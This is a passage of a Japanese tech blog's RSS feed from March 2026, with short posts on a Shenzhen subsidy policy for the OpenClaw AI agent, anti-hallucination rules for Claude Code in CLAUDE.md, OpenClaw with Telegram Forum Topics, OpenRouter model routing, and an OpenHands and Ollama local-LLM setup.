&lt;p&gt;「この人の言うことなら間違いない」というブランドの信頼感は、顧客が情報を取捨選択する時間を大幅に短縮させる。結果として、そのブランドが発信する「長尺のコンテンツ」でも安心して見てもらえるようになる。&lt;/p&gt;
&lt;h2 id="価値を際立たせるための3つの視点"&gt;価値を際立たせるための3つの視点&lt;/h2&gt;
&lt;p&gt;時間を割いてもらうためには、以下の3つの要素を掛け合わせるのが効果的だ。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;要素&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;th&gt;顧客の反応&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Relevance&lt;/strong&gt;（関連性）&lt;/td&gt;
&lt;td&gt;自分に関係があるか&lt;/td&gt;
&lt;td&gt;「これは私のことだ！」&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Benefit&lt;/strong&gt;（便益）&lt;/td&gt;
&lt;td&gt;得られる利益は何か&lt;/td&gt;
&lt;td&gt;「見る価値がありそうだ」&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Urgency&lt;/strong&gt;（緊急性）&lt;/td&gt;
&lt;td&gt;今見るべき理由は何か&lt;/td&gt;
&lt;td&gt;「後回しにできない」&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="4つの価値と3つの視点の関係"&gt;4つの価値と3つの視点の関係&lt;/h3&gt;
&lt;p&gt;前述の4つの価値は、この Relevance・Benefit・Urgency の掛け合わせで説明できる。&lt;/p&gt;
&lt;p&gt;&lt;img alt="4つの価値と3つの視点の関係" loading="lazy" src="https://hdknr.github.io/blogs/images/kotler-value-perspectives.svg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 「切実な不満」の解消&lt;/strong&gt; は、3つの視点すべてが自然に揃うケースだ。痛みを抱えている本人にとって Relevance は明白であり、解決策という Benefit は直接的で、痛みが続いている限り Urgency も高い。だからこそ最も強い動機づけになる。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 「未知の自分」への自己実現&lt;/strong&gt; は、Relevance と Benefit は強いが Urgency が弱くなりがちだ。「いつかやりたい」で終わらせないために、「今だけの機会」「このスキルがないと取り残される」といった緊急性の演出が鍵になる。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 「物語」によるエンターテインメント&lt;/strong&gt; は、Relevance の入口を広げる役割を果たす。データの羅列では「自分には関係ない」と素通りされる情報も、共感できるストーリーに包むことで「これは自分の話だ」と感じさせることができる。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. 「信頼」によるコスト削減&lt;/strong&gt; は、3つの視点すべてのハードルを下げる。信頼されたブランドからの発信であれば、Relevance の判断に迷わず、Benefit を疑わず、Urgency を感じやすくなる。信頼は個々の価値を増幅するレバレッジだ。&lt;/p&gt;</description></item><item><title>深圳が世界初の OpenClaw・一人企業支援策を発表 — AI エージェント時代のソロ起業を後押し</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E6%B7%B1%E5%9C%B3%E3%81%8C%E4%B8%96%E7%95%8C%E5%88%9D%E3%81%AE-openclaw%E4%B8%80%E4%BA%BA%E4%BC%81%E6%A5%AD%E6%94%AF%E6%8F%B4%E7%AD%96%E3%82%92%E7%99%BA%E8%A1%A8-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%99%82%E4%BB%A3%E3%81%AE%E3%82%BD%E3%83%AD%E8%B5%B7%E6%A5%AD%E3%82%92%E5%BE%8C%E6%8A%BC%E3%81%97/</link><pubDate>Mon, 09 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E6%B7%B1%E5%9C%B3%E3%81%8C%E4%B8%96%E7%95%8C%E5%88%9D%E3%81%AE-openclaw%E4%B8%80%E4%BA%BA%E4%BC%81%E6%A5%AD%E6%94%AF%E6%8F%B4%E7%AD%96%E3%82%92%E7%99%BA%E8%A1%A8-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%99%82%E4%BB%A3%E3%81%AE%E3%82%BD%E3%83%AD%E8%B5%B7%E6%A5%AD%E3%82%92%E5%BE%8C%E6%8A%BC%E3%81%97/</guid><description>&lt;p&gt;深圳市龍崗区が「OpenClaw および OPC（One-Person Company）発展支援に関する若干の措置」を発表した。AI エージェントフレームワーク OpenClaw と「一人企業」モデルを対象にした政府支援策としては、中国初、おそらく世界初の試みだ。荒井健一氏（&lt;a href="https://x.com/aarai666"&gt;@aarai666&lt;/a&gt;）の&lt;a href="https://x.com/aarai666/status/2030988166770077789"&gt;ツイート&lt;/a&gt;で紹介されたこの政策の要点を整理する。&lt;/p&gt;
&lt;h2 id="openclaw-とは何か"&gt;OpenClaw とは何か&lt;/h2&gt;
&lt;p&gt;OpenClaw はオーストリアの Peter Steinberger 氏が開発したオープンソースの AI アシスタントだ。フライトの予約からメール整理まで幅広いタスクを自律的にこなし、個人が数人分のチームに匹敵する生産性を発揮できる。この仕組みを活用して一人で会社を運営する「OPC（One-Person Company）」というコンセプトが、中国を中心に急速に広がっている。&lt;/p&gt;
&lt;p&gt;中国では無料インストールイベントに数千人が参加するなど爆発的な人気を見せており、李強首相が全国人民代表大会で「スマートエージェント」（OpenClaw を含む概念）に言及するほどの注目度だ。&lt;/p&gt;
&lt;h2 id="深圳龍崗区の支援策"&gt;深圳・龍崗区の支援策&lt;/h2&gt;
&lt;p&gt;龍崗区の政策は、概念の認知からわずか約 3 週間で正式な支援策にまとめ上げるスピード感を見せた。支援は大きく 3 つの柱で構成される。&lt;/p&gt;
&lt;h3 id="1-導入開発支援"&gt;1. 導入・開発支援&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;「ロブスターサービスゾーン」を設置し無料で OpenClaw の導入サービスを提供するプラットフォームに、最大 &lt;strong&gt;200 万元&lt;/strong&gt;（約 4,000 万円）の補助金&lt;/li&gt;
&lt;li&gt;コード貢献やスキルパッケージ開発を行う開発者への追加資金支援&lt;/li&gt;
&lt;li&gt;関連技術パッケージの開発・配布企業に最大 &lt;strong&gt;200 万元&lt;/strong&gt; の助成金&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-計算データリソース"&gt;2. 計算・データリソース&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;データサービス、AI NAS ハードウェア、大規模モデル API 利用料の &lt;strong&gt;30〜50%&lt;/strong&gt; を補助&lt;/li&gt;
&lt;li&gt;OPC コミュニティに新規入居する企業に &lt;strong&gt;3 ヶ月間&lt;/strong&gt; の無料計算リソースを提供&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-総合的な起業支援"&gt;3. 総合的な起業支援&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2 ヶ月間&lt;/strong&gt; の無料住居提供&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;18 ヶ月間&lt;/strong&gt; の割引オフィススペース&lt;/li&gt;
&lt;li&gt;人材定着助成金として最大 &lt;strong&gt;10 万元&lt;/strong&gt;（約 200 万円）&lt;/li&gt;
&lt;li&gt;エクイティ投資として最大 &lt;strong&gt;1,000 万元&lt;/strong&gt;（約 2 億円）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;政策の戦略的目標は「初期の起業コストをゼロ水準まで引き下げ、深圳を AI エージェントスタートアップのハブにする」ことだ。&lt;/p&gt;</description></item><item><title>Claude Codeのハルシネーション対策 — Anti-Hallucination Protocolという考え方</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%81%AE%E3%83%8F%E3%83%AB%E3%82%B7%E3%83%8D%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E5%AF%BE%E7%AD%96-anti-hallucination-protocol%E3%81%A8%E3%81%84%E3%81%86%E8%80%83%E3%81%88%E6%96%B9/</link><pubDate>Sun, 08 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%81%AE%E3%83%8F%E3%83%AB%E3%82%B7%E3%83%8D%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E5%AF%BE%E7%AD%96-anti-hallucination-protocol%E3%81%A8%E3%81%84%E3%81%86%E8%80%83%E3%81%88%E6%96%B9/</guid><description>&lt;p&gt;Claude Code などの LLM エージェントを業務で使う際、最大のリスクは**ハルシネーション（幻覚）**です。プロンプトの改善ばかりが注目されがちですが、本当に必要なのは「仕組みで縛る」アプローチです。&lt;/p&gt;
&lt;h2 id="きっかけとなった事故"&gt;きっかけとなった事故&lt;/h2&gt;
&lt;p&gt;ある開発者が実際に遭遇した事故が、この議論のきっかけです:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;which&lt;/code&gt; コマンドの結果だけで「未インストール」と診断されたが、コードは PATH 外のディレクトリを直接参照していた。ログを1行も読まずに断言。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;LLM エージェントは自信に満ちた口調で誤った結論を出すことがあり、人間がそれを鵜呑みにしてしまうリスクがあります。&lt;/p&gt;
&lt;h2 id="anti-hallucination-protocol-の4つの柱"&gt;Anti-Hallucination Protocol の4つの柱&lt;/h2&gt;
&lt;p&gt;提唱されている Anti-Hallucination Protocol は、以下の4つのルールで構成されます:&lt;/p&gt;
&lt;h3 id="1-事実主張にはツール実行による検証を義務化"&gt;1. 事実主張にはツール実行による検証を義務化&lt;/h3&gt;
&lt;p&gt;LLM が「〜がインストールされていない」「〜が原因です」と主張する場合、必ず対応するコマンドやツールを実行して裏付けを取ることを求めます。推測だけで結論を出すことを許容しません。&lt;/p&gt;
&lt;h3 id="2-禁止パターンの明示"&gt;2. 禁止パターンの明示&lt;/h3&gt;
&lt;p&gt;以下の4つのパターンを明示的に禁止します:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;パターン&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;推測診断&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;十分な証拠なしに原因を断定する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;確認なし否定&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;実際に確認せず「存在しない」「動かない」と主張する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;記憶による主張&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;過去の学習データだけに基づく事実主張&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;自信に満ちた誤り&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;高い確信度で不正確な情報を提供する&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="3-違反時のインシデント記録と伝播"&gt;3. 違反時のインシデント記録と伝播&lt;/h3&gt;
&lt;p&gt;ハルシネーションが検出された場合、インシデントとして記録し、全プロジェクト横断で伝播させます。これにより同じ失敗パターンを繰り返さない仕組みを構築します。&lt;/p&gt;
&lt;h3 id="4-プロジェクト設定への組み込み"&gt;4. プロジェクト設定への組み込み&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;CLAUDE.md&lt;/code&gt; や類似の設定ファイルにルールを記述し、プロジェクト単位で一貫したガードレールを維持します。&lt;/p&gt;
&lt;h2 id="2026年のハルシネーション対策の現状"&gt;2026年のハルシネーション対策の現状&lt;/h2&gt;
&lt;p&gt;2026年3月時点で、各 LLM のハルシネーション率は改善が進んでいます。&lt;a href="https://dev.to/es2026/llm-hallucination-index-2026-why-claude-46-sonnet-dominates-bullshitbench-v2-while-reasoning-5cp5"&gt;LLM Hallucination Index 2026&lt;/a&gt; によると、Claude Sonnet 4.6 は BS 検出成功率 91.0%、誤検出率 3.0% とトップクラスの精度を示しています。&lt;/p&gt;
&lt;p&gt;しかし、モデル性能の向上だけでは不十分です。特に以下の場面ではハルシネーションが発生しやすいことが報告されています:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;コンテキスト圧縮後&lt;/strong&gt;: 長い会話でコンテキストが圧縮されると、計画と実装の乖離が起きやすい&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Plan Mode での実装フェーズ&lt;/strong&gt;: 計画作成後の実装で、計画にない機能を追加してしまう&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="実践的な対策"&gt;実践的な対策&lt;/h2&gt;
&lt;h3 id="claudemd-への記述例"&gt;CLAUDE.md への記述例&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;## Anti-Hallucination Rules
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; ファイルの存在確認は必ず &lt;span style="color:#e6db74"&gt;`ls`&lt;/span&gt; や &lt;span style="color:#e6db74"&gt;`cat`&lt;/span&gt; で実行すること
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; パッケージのインストール状況は &lt;span style="color:#e6db74"&gt;`which`&lt;/span&gt; だけでなく、実際のインポートやバージョン確認で検証すること
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; エラーの原因を主張する前に、必ずログファイルを読むこと
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;-&lt;/span&gt; 「〜のはずです」「おそらく〜」という推測を事実として扱わないこと
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="cleo-のようなツールの活用"&gt;CLEO のようなツールの活用&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://github.com/kryptobaseddev/cleo"&gt;CLEO&lt;/a&gt; は Claude Code 向けのタスク管理ツールで、4層の Anti-Hallucination 保護と SQLite による不変の監査証跡を提供します。&lt;/p&gt;</description></item><item><title>OpenClaw × Telegram Forum Topics — AIとの対話を構造化して生産性を上げる方法</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw-telegram-forum-topics-ai%E3%81%A8%E3%81%AE%E5%AF%BE%E8%A9%B1%E3%82%92%E6%A7%8B%E9%80%A0%E5%8C%96%E3%81%97%E3%81%A6%E7%94%9F%E7%94%A3%E6%80%A7%E3%82%92%E4%B8%8A%E3%81%92%E3%82%8B%E6%96%B9%E6%B3%95/</link><pubDate>Sun, 08 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw-telegram-forum-topics-ai%E3%81%A8%E3%81%AE%E5%AF%BE%E8%A9%B1%E3%82%92%E6%A7%8B%E9%80%A0%E5%8C%96%E3%81%97%E3%81%A6%E7%94%9F%E7%94%A3%E6%80%A7%E3%82%92%E4%B8%8A%E3%81%92%E3%82%8B%E6%96%B9%E6%B3%95/</guid><description>&lt;p&gt;OpenClaw を Telegram で使っている人に向けて、&lt;strong&gt;Forum Topics&lt;/strong&gt; を活用した構造化テクニックが海外で話題になっています。ブックマーク 2,000 件を突破したこの手法を紹介します。&lt;/p&gt;
&lt;h2 id="forum-topics-でできること"&gt;Forum Topics でできること&lt;/h2&gt;
&lt;p&gt;Telegram の Forum Topics 機能を OpenClaw と組み合わせると、以下のことが実現できます:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;会話をカテゴリ分け&lt;/strong&gt; — 仕事、開発、健康、趣味など、トピックごとに独立した LLM セッションを持てる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文脈が混ざらない&lt;/strong&gt; — 各トピックが独立したセッションになるため、異なるコンテキストが干渉しない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;cron ジョブ・定期通知の自動ルーティング&lt;/strong&gt; — 関連するトピックに自動で振り分け&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;メール転送による自動処理&lt;/strong&gt; — ボットにメールを転送するだけで、適切なトピックで自動的に処理&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="設定方法"&gt;設定方法&lt;/h2&gt;
&lt;p&gt;設定はシンプルです:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;BotFather&lt;/strong&gt; で「Threaded Mode」を ON にする&lt;/li&gt;
&lt;li&gt;OpenClaw に Forum Topics を使うよう指示する&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;これだけで、トピックベースの構造化された AI アシスタント環境が整います。&lt;/p&gt;
&lt;h2 id="実践例-ai-が部門別の秘書チームになる"&gt;実践例: AI が部門別の秘書チームになる&lt;/h2&gt;
&lt;p&gt;この手法を紹介した Typefully の共同創業者は、実際に自分のプロダクト運用でこの構造を活用しています:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;トピック&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;General&lt;/td&gt;
&lt;td&gt;一般的なやり取り&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dev&lt;/td&gt;
&lt;td&gt;開発タスク管理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Life&lt;/td&gt;
&lt;td&gt;日常のタスク&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Health&lt;/td&gt;
&lt;td&gt;健康管理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Racing&lt;/td&gt;
&lt;td&gt;レース準備&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Finances&lt;/td&gt;
&lt;td&gt;財務管理&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;まさに &lt;strong&gt;AI が部門別の秘書チーム&lt;/strong&gt; として機能している状態です。&lt;/p&gt;</description></item><item><title>OpenRouter で AI モデルを一元管理する — コスト削減と効率化の実践</title><link>https://hdknr.github.io/blogs/posts/2026/03/openrouter-%E3%81%A7-ai-%E3%83%A2%E3%83%87%E3%83%AB%E3%82%92%E4%B8%80%E5%85%83%E7%AE%A1%E7%90%86%E3%81%99%E3%82%8B-%E3%82%B3%E3%82%B9%E3%83%88%E5%89%8A%E6%B8%9B%E3%81%A8%E5%8A%B9%E7%8E%87%E5%8C%96%E3%81%AE%E5%AE%9F%E8%B7%B5/</link><pubDate>Sun, 08 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openrouter-%E3%81%A7-ai-%E3%83%A2%E3%83%87%E3%83%AB%E3%82%92%E4%B8%80%E5%85%83%E7%AE%A1%E7%90%86%E3%81%99%E3%82%8B-%E3%82%B3%E3%82%B9%E3%83%88%E5%89%8A%E6%B8%9B%E3%81%A8%E5%8A%B9%E7%8E%87%E5%8C%96%E3%81%AE%E5%AE%9F%E8%B7%B5/</guid><description>&lt;p&gt;AI モデルの利用が増えるにつれ、複数のプロバイダの API キーを管理する煩雑さやコストの把握が難しくなっていく。OpenRouter を使えば、1つの API キーで複数の AI モデルにアクセスでき、コスト管理も一元化できる。&lt;/p&gt;
&lt;h2 id="openrouter-とは"&gt;OpenRouter とは&lt;/h2&gt;
&lt;p&gt;OpenRouter は、複数の AI モデルプロバイダ（OpenAI、Anthropic、Google、Meta など）のモデルに単一の API エンドポイントからアクセスできるルーティングサービスだ。OpenAI 互換の API 形式を採用しているため、既存のコードからの移行も容易になっている。&lt;/p&gt;
&lt;h3 id="料金体系"&gt;料金体系&lt;/h3&gt;
&lt;p&gt;OpenRouter は&lt;strong&gt;無料から始められる&lt;/strong&gt;。クレジットカードの登録も不要だ。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;無料モデル&lt;/strong&gt;: DeepSeek V3/R1、Google、Meta、Mistral など約27種類のモデルが無料で利用可能（1日50リクエスト、1分20リクエストの制限あり）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;有料モデル&lt;/strong&gt;: Claude や GPT-4 などのプレミアムモデルはプロバイダの正規料金で従量課金。最低金額やロックインなし&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BYOK（自分の API キー持ち込み）&lt;/strong&gt;: 月100万リクエストまで無料。以降は通常料金の5%の手数料&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="openrouter-を使う3つのメリット"&gt;OpenRouter を使う3つのメリット&lt;/h2&gt;
&lt;h3 id="1-コスト効率の向上"&gt;1. コスト効率の向上&lt;/h3&gt;
&lt;p&gt;各プロバイダと個別に契約する代わりに、OpenRouter 経由で利用することで支出を一元管理できる。用途に応じて安価なモデルと高性能なモデルを使い分けることで、全体のコストを最適化できる。&lt;/p&gt;
&lt;h3 id="2-api-キーの一元管理"&gt;2. API キーの一元管理&lt;/h3&gt;
&lt;p&gt;複数のプロバイダの API キーを管理する必要がなくなる。1つの OpenRouter API キーだけで、さまざまなモデルにアクセスできる。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# OpenRouter API キーを設定するだけで複数モデルにアクセス可能&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;export OPENROUTER_API_KEY&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;sk-or-...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="3-最新モデルへの素早い切り替え"&gt;3. 最新モデルへの素早い切り替え&lt;/h3&gt;
&lt;p&gt;新しいモデルがリリースされた際、OpenRouter 上で利用可能になればすぐに試すことができる。プロバイダごとにアカウント登録や API キー発行をする必要がない。&lt;/p&gt;</description></item><item><title>はじめての記事</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%81%AF%E3%81%98%E3%82%81%E3%81%A6%E3%81%AE%E8%A8%98%E4%BA%8B/</link><pubDate>Sun, 08 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%81%AF%E3%81%98%E3%82%81%E3%81%A6%E3%81%AE%E8%A8%98%E4%BA%8B/</guid><description>Hugo + GitHub Pages でブログサイトを構築しました</description></item><item><title># OpenHands × Ollama ローカルLLM実践記 — Mac Studio M3 Ultra で動かすまでの全記録</title><link>https://hdknr.github.io/blogs/posts/2026/03/%23-openhands-ollama-%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%ABllm%E5%AE%9F%E8%B7%B5%E8%A8%98-mac-studio-m3-ultra-%E3%81%A7%E5%8B%95%E3%81%8B%E3%81%99%E3%81%BE%E3%81%A7%E3%81%AE%E5%85%A8%E8%A8%98%E9%8C%B2/</link><pubDate>Fri, 06 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%23-openhands-ollama-%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%ABllm%E5%AE%9F%E8%B7%B5%E8%A8%98-mac-studio-m3-ultra-%E3%81%A7%E5%8B%95%E3%81%8B%E3%81%99%E3%81%BE%E3%81%A7%E3%81%AE%E5%85%A8%E8%A8%98%E9%8C%B2/</guid><description>&lt;h1 id="openhands--ollama-ローカルllm実践記--mac-studio-m3-ultra-で動かすまでの全記録"&gt;OpenHands × Ollama ローカルLLM実践記 — Mac Studio M3 Ultra で動かすまでの全記録&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: OpenHands（旧OpenDevin）をMac Studio M3 Ultra（96GB）+ Ollama + Qwen3-Coder 30B で動かそうとした。Docker-in-Docker のビルド問題、Playwright依存、ランタイムイメージ手動構築を経てUI起動まで到達したが、30Bモデルのtool calling精度不足で実用には至らなかった。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="1-openhands-とは"&gt;1. OpenHands とは&lt;/h2&gt;
&lt;p&gt;OpenHands（旧 OpenDevin）は、オープンソースのAIコーディングエージェントプラットフォーム。75以上のLLMプロバイダーに対応し、SWE-bench で Qwen3-Coder 使用時に 69.6% のスコアを記録している。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;公式リポジトリ&lt;/strong&gt;: &lt;a href="https://github.com/All-Hands-AI/OpenHands"&gt;https://github.com/All-Hands-AI/OpenHands&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;特徴:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Web UI でブラウザから操作&lt;/li&gt;
&lt;li&gt;Docker サンドボックスで安全にコード実行&lt;/li&gt;
&lt;li&gt;CodeActAgent による自律的なタスク遂行&lt;/li&gt;
&lt;li&gt;Playwright 統合によるブラウザ操作&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="2-動機--なぜ-openhands-を試したか"&gt;2. 動機 — なぜ OpenHands を試したか&lt;/h2&gt;
&lt;p&gt;前回の実験で Qwen Code（CLI エージェント）を Ollama + Qwen3-Coder 30B で動かしたが、&lt;strong&gt;複雑な multi-step タスク（GitHub PR レビューなど）で tool calling が破綻&lt;/strong&gt;する問題に直面した。&lt;/p&gt;
